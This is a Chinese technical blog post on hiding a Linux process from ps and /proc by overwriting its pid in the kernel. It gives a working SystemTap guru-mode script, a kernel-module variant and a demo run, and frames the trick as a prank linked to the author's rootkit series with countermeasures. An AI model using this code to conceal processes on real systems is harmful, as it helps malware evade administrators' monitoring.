一行代码隐藏Linux进程

骑猪看日落 2022-11-27 15:45 182阅读 0赞

总有朋友问隐藏Linux进程的方法，我说你想隐藏到什么程度，是大隐于内核，还是小隐于用户。

网上通篇论述的无外乎hook掉procfs或者类似的用户态方案，也都难免长篇大论，我说，这些场面都太大了，太复杂了。对于希望马上看到效果的而言，看到这么一堆复杂的东西，大概率望而却步。

本文介绍一种将Linux进程小隐于用户的非常规方法，仅仅一行代码：

*  修改掉进程的pid即可。

> ***注意是小隐，所以，不值得反制，逗一下高级会议工程师搞个恶作剧玩玩得了。***

target->pid = 0x7fffffff;

完整的脚本如下：

#!/usr/bin/stap -g
    # hide.stp
    
    global pid;
    
    function hide(who:long)
    %{ 
    	struct task_struct *target;
    
    	target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
    	target->pid = 0x7fffffff;
    %}
    
    probe begin
    { 
    	pid = $1
    	hide(pid);
    	exit();
    }

来来来，试一下：

[root@localhost system]# ./tohide &
    [1] 403
    [root@localhost system]# ./hide.stp
    [root@localhost system]#

用下面的命令可以检测所有可显示进程的二进制文件：

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
    	ls -l /proc/$pid/exe; 
    done

procfs里没了，ps当然就检测不到了。

如果你觉得guru模式的stap怪怪的，那么你完全可以编写自己独立的Linux kernel module，采用修改完即退的方法：

target->pid = xxxx;
    return -1;

是不是比各种hook法简单多了，所谓的 ***动数据而不要动代码！***

简单的说一下原理。

*  task被创建的时候，根据其pid注册procfs目录结构。
 *  展示procfs目录结构的时候，遍历task list以其pid作为key来查找procfs目录结构。
 *  0x7fffffff(或者任何其它合理的值)根本没有注册过，当然无法显示。

不多说。

> ***再次声明，不要试图对本文所描述的方法进行反制，因为这么简单的东西根本不值得反制，哈哈，不是吗？***

可以参考我之前的Rootkit系列文章来继续研究Linux进程大隐于内核的方法。同时，每一种方法我都给出了反制措施。

自己和自己下棋的本来就不多，我想试试。

--------------------

浙江温州皮鞋湿，下雨进水不会胖。

发表评论取消回复

表情：

评论列表（有 0 条评论，182人围观）

还没有评论，来说两句吧...

相关阅读

相关缉拿隐藏进程以及隐藏CPU利用率的进程

前面我介绍过很多隐藏进程的把戏，随后我对每一种把戏有针对性的给出了反制措施，可以翻看我2020/03～2020/08的文章，太多了，不再一一列举。如今，我要介绍一种超级简单

左手的ㄟ右手/ 2022年12月01日 12:00/ 0 赞/ 216 阅读

相关一行代码隐藏Linux进程

总有朋友问隐藏Linux进程的方法，我说你想隐藏到什么程度，是大隐于内核，还是小隐于用户。网上通篇论述的无外乎hook掉procfs或者类似的用户态方案，也都难免长篇大论，

骑猪看日落/ 2022年11月27日 15:45/ 0 赞/ 183 阅读

相关两行代码隐藏进程在top中的显示

今天到上海比较早，赶上了嘉泰线公交车，省了几十块钱打车钱，高兴！ ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shado

╰半橙微兮°/ 2022年11月27日 07:04/ 0 赞/ 159 阅读

相关隐藏技术之进程伪装

// 简单的进程伪装就是修改进程名称，比如svchost.exe、services.exe等系统进程。 // 高级的进程伪装就是修改进程的PEB数据，也就是在任

男娘i/ 2022年09月16日 05:55/ 0 赞/ 253 阅读

相关进程隐藏之API HOOK

// 在Windows中，用户进程的所有操作都是基于WIN32 API来实现的，例如使用任务管理器来查看进程等操作。 // API HOOK技术是一种改变API

水深无声/ 2022年08月28日 04:42/ 0 赞/ 170 阅读

相关 scala的一行代码

1. 过滤出序列中所有偶数 filter方法会将序列中各个元素依次替换到下划线"\_"所处位置，如果返回true，则保留该元素。 (1 to 9).filter

川长思鸟来/ 2022年06月17日 05:43/ 0 赞/ 193 阅读

相关 linux一行命令查杀进程

[https://blog.csdn.net/primeprime/article/details/52415273][https_blog.csdn.net_primepri

桃扇骨/ 2021年11月06日 00:31/ 0 赞/ 376 阅读

相关 linux 用户态隐藏进程简介

目录 linux下查看进程的方法 PS/TOP显示进程原理隐藏进程 -------------------- 某些时候程序员为了防止其他人不小心或者恶意破坏掉你运行

柔情只为你懂/ 2021年09月02日 05:46/ 0 赞/ 538 阅读

相关 linux进程隐藏 argv[0] prctl 修改进程名

目录前言一、通过修改进程argv\[0\]修改进程名二、通过Linux prctl修改进程名三、两者方法相结合 --------------------

柔情只为你懂/ 2021年09月02日 05:28/ 0 赞/ 398 阅读

相关一行代码如何隐藏 Linux 进程？

![1803089889.png][] 开源Linux 长按二维码加关注~ ![undefined][] ![format_png][] 上一篇：[IPv6技术白

﹏ヽ暗。殇╰゛Y/ 2021年07月26日 21:32/ 0 赞/ 457 阅读